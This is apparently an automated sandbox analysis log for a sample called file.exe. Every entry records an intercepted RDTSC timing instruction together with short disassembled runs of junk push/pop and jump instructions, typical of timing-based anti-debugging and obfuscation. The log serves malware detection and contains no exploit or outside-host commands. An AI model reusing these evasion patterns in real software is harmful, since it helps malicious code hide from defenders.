Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0485A second address: F0485E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0485E second address: F04878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3F0D2D4AC4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04878 second address: F0488E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D6242h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F034E4 second address: F034EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03761 second address: F03779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F3F0C7D623Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E759 second address: E5E75F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E75F second address: E5E765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E3F6 second address: F0E40B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007F3F0D2D4AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnp 00007F3F0D2D4AB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E40B second address: F0E429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F0C7D6245h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C394 second address: F0C39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C39A second address: F0C39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C39E second address: F0C3C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b js 00007F3F0D2D4AB6h 0x00000011 jmp 00007F3F0D2D4AC3h 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C3C6 second address: F0C3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0C7D623Ch 0x00000009 jmp 00007F3F0C7D6247h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C3EE second address: F0C3F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C69D second address: F0C6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3F0C7D6236h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c jmp 00007F3F0C7D623Ch 0x00000011 pop ebx 0x00000012 jmp 00007F3F0C7D6246h 0x00000017 jno 00007F3F0C7D6249h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C6ED second address: F0C701 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F3F0D2D4AB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CFA4 second address: F0CFAE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3F0C7D623Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CFAE second address: F0CFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F3F0D2D4ACCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CFD2 second address: F0CFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3F0C7D6236h 0x0000000a jmp 00007F3F0C7D6249h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0CFF5 second address: F0D017 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC7h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D2B5 second address: F0D2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3F0C7D6236h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D2BF second address: F0D2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE6E second address: F0DE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE74 second address: F0DE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE7F second address: F0DE84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE84 second address: F0DE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DE8D second address: F0DE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E178 second address: F0E17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F139E3 second address: F139ED instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F0C7D6236h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18B23 second address: F18B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18B32 second address: F18B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jng 00007F3F0C7D6236h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A83 second address: F22A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3F0D2D4ABCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A8F second address: F22A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A99 second address: F22AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3F0D2D4AB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F3F0D2D4AB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AAC second address: F22AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F210E2 second address: F210EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F210EA second address: F210F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F210F3 second address: F210F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F210F7 second address: F210FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F210FB second address: F21112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0D2D4ABDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21112 second address: F21116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21116 second address: F21135 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F0D2D4AB6h 0x00000008 jmp 00007F3F0D2D4AC0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21135 second address: F2114E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0C7D623Ah 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F3F0C7D6236h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F212A1 second address: F212A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F212A7 second address: F212B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3F0C7D623Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F212B8 second address: F212BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F212BE second address: F212C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2170D second address: F21717 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F0D2D4AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2184B second address: F218A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F3F0C7D6236h 0x0000000c popad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 jnp 00007F3F0C7D6247h 0x00000017 jmp 00007F3F0C7D6241h 0x0000001c jmp 00007F3F0C7D6246h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 pop edx 0x00000028 jne 00007F3F0C7D6242h 0x0000002e jns 00007F3F0C7D6236h 0x00000034 jo 00007F3F0C7D6236h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F219D6 second address: F219F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABEh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jno 00007F3F0D2D4AB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2291C second address: F22924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F206CA second address: F206DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F206DF second address: F206E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2839C second address: F283AC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F283AC second address: F283B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F283B1 second address: F283BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3F0D2D4AB6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F283BD second address: F283C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AB88 second address: F2AB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F3F0D2D4AB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AB97 second address: F2ABA3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F0C7D6236h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2ABA3 second address: F2ABC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC9h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2ABC1 second address: F2ABDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F3F0C7D623Ah 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2ABDA second address: F2ABF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F3F0D2D4AB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3822C second address: F38232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38232 second address: F3823B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3823B second address: F38241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65265 second address: E6526F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6526F second address: E65275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B699 second address: F3B6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0D2D4AC9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B826 second address: F3B82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B82A second address: F3B82F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B82F second address: F3B835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B835 second address: F3B83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43878 second address: F4387C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4387C second address: F438BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F3F0D2D4ABCh 0x0000000e jns 00007F3F0D2D4AB6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 jne 00007F3F0D2D4AB6h 0x0000001e jnp 00007F3F0D2D4AB6h 0x00000024 pop edi 0x00000025 jp 00007F3F0D2D4ACCh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F438BD second address: F438C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44FFB second address: F45005 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F0D2D4ACEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F484AA second address: F484C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3F0C7D623Eh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F3F0C7D6236h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F1A4 second address: F4F1B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3F0D2D4AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F1B4 second address: F4F1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58FEE second address: F58FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57866 second address: F5786F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5786F second address: F57875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57875 second address: F57890 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3F0C7D6236h 0x0000000e jmp 00007F3F0C7D623Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57CB7 second address: F57CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57CBD second address: F57CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57CD0 second address: F57CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57CD6 second address: F57CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3F0C7D6236h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57E23 second address: F57E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F580CF second address: F580D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F580D5 second address: F580DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D16 second address: F58D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D1A second address: F58D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D1E second address: F58D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D27 second address: F58D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3F0D2D4AB6h 0x0000000a jmp 00007F3F0D2D4AC0h 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C76A second address: F5C76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67125 second address: F6712E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6712E second address: F67134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67134 second address: F67140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AD81 second address: F7AD87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AAA7 second address: F7AAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3F0D2D4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9077A second address: F90780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
